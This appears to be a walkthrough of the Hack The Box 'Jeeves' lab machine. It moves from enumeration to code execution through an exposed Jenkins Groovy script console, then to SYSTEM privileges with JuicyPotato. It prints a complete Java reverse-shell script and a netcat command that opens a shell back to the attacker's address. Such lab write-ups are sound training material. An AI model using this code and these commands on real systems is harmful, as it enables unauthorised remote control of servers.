> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/hack-the-box/medium/jeeves.md).

# Jeeves

## Service Enumeration

`nmapAutomator.sh -H 10.10.10.63 -t all`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadsKQyTWzuAf0z9MBC%2Fd2f48fb4dff64f2c8699887612d39a7e.png?alt=media\&token=745bc785-9f43-44ff-9ef7-31d848615979)

### Port 80

A HTTP service runs on port 80. Entering an input in the search bar results in a server error, showing us some information about the versions of the services and OS it is running.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadsNgdPDvTao_fZCDp%2Ff9cb5dadba174ee7912d468c79cb4803.png?alt=media\&token=51ac3e73-befd-4ea8-bb7f-9364faef9669)

### Port 50000

Another web service, running Jetty, is on port 50000. Using the `directory-list-2.3-medium.txt` wordlist from dirbuster, we can perform subdirectory enumeration on the target.

`gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt`

This uncovers a `/askjeeves` directory.

By going to `http://10.10.10.63:50000/askjeeves/`, we find a Jenkins page.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadsQ9233V8sqWwjsx5%2F39f21d32ff0040b4923c321eda24b88b.png?alt=media\&token=859ce735-d9b2-4186-b181-e3133038bed0)

## Exploitation

By going to `http://10.10.10.63:50000/askjeeves/script`, we can execute scripts on the Groovy script console.

```java
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");
```

By changing first line in the script, we can execute arbitrary shell commands.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadsSlYQRDIcUL5_heK%2F792f7bfb2fe8464a94d7c4d792a51003.png?alt=media\&token=b75cb082-a4e4-4441-a0ca-20b8b1e9828a)

We can change the script to instead trigger a reverse shell.

Source: <https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76>

```java
String host="10.10.14.23";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

On our Netcat listener, we obtain a reverse shell.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadsVpdC1tyjsnFd88d%2F7cd6a987fcae4441918077564f9c8934.png?alt=media\&token=573151f2-0848-4e64-b16c-574d1e35efae)

## Privilege Escalation

We can use WinPEAS to enumerate.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadsYTbrPIiraQ5ww8G%2Fca33e4e9523b414eaf36c4e5d016c73a.png?alt=media\&token=8216f2ab-af50-4f54-adca-935eaa93b84f)

Very quickly, we see that the SeImpersonatePrivilege token is enabled. We can exploit this with JuicyPotato (<https://github.com/ohpe/juicy-potato>).

After transferring JuicyPotato.exe and Netcat, we can run the following command to get another shell:

`JuicyPotato -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\kohsuke\nc.exe -e cmd.exe 10.10.14.23 443" -t *`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadsaVLrVLe9v27z24f%2F46fe0f82b5e34c78ade71358f0fe61d4.png?alt=media\&token=f950647a-aea4-4487-9737-f8e46005670c)

We have successfully obtained SYSTEM privileges.

We find a `hm.txt` in place of `root.txt`.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadscqVoG8zpewhcHrm%2F404697933fcd460fbe443ac8bb1a826a.png?alt=media\&token=6f0e0183-2bd2-45d8-9b5c-dbd6af7f9ced)

However, we can find that there is an additional data stream hidden in the file.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madsfah-dkABbWwj_gA%2F265d7858ba014154a9f08df032a76957.png?alt=media\&token=c2d0a38d-1dce-40a8-9d28-405d979dfe38)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadsjzbQsapwzic0pEs%2Fdab1eb9d5ba042fca0b58d00d30d8a70.png?alt=media\&token=ea43f646-c9a6-41e2-8971-27bceb782fcd)